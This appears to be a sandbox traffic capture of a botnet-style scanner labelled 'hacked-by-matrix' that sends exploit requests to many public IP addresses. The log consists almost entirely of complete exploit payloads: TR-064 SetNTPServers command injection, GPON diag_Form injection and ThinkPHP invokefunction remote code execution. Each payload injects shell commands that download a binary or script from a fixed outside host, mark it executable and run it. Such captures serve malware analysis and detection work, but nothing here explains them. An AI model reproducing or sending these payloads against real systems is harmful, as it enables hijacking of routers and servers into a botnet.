Mar 21, 2024 05:22:34.872505903 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:35.517311096 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
852	192.168.2.14	38956	118.63.181.199	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:34.913239956 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:36.413325071 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:38.173207998 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:41.857119083 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:49.020868063 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:03.100241899 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
853	192.168.2.14	41448	125.147.134.59	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:34.913810968 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
854	192.168.2.14	41466	125.147.134.59	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.196413994 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
855	192.168.2.14	38974	118.63.181.199	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.198842049 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:36.669404984 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:38.397197962 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:41.857119083 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:48.766705036 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:02.588325977 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
856	192.168.2.14	57210	209.94.149.123	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.227866888 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:51.580738068 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
857	192.168.2.14	38760	212.126.223.216	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.312007904 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
858	192.168.2.14	41892	210.167.162.69	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.312046051 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
859	192.168.2.14	57484	79.26.11.234	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.312056065 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
860	192.168.2.14	50312	42.178.39.10	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.312087059 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
861	192.168.2.14	58142	118.72.177.212	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.312160969 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
862	192.168.2.14	52980	2.6.208.254	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.322447062 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
863	192.168.2.14	56002	118.31.239.40	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.322505951 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
864	192.168.2.14	53468	37.21.181.216	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.322514057 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
865	192.168.2.14	40202	2.51.128.105	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.322690010 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
866	192.168.2.14	49554	88.80.191.166	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.328346968 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:35.839294910 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
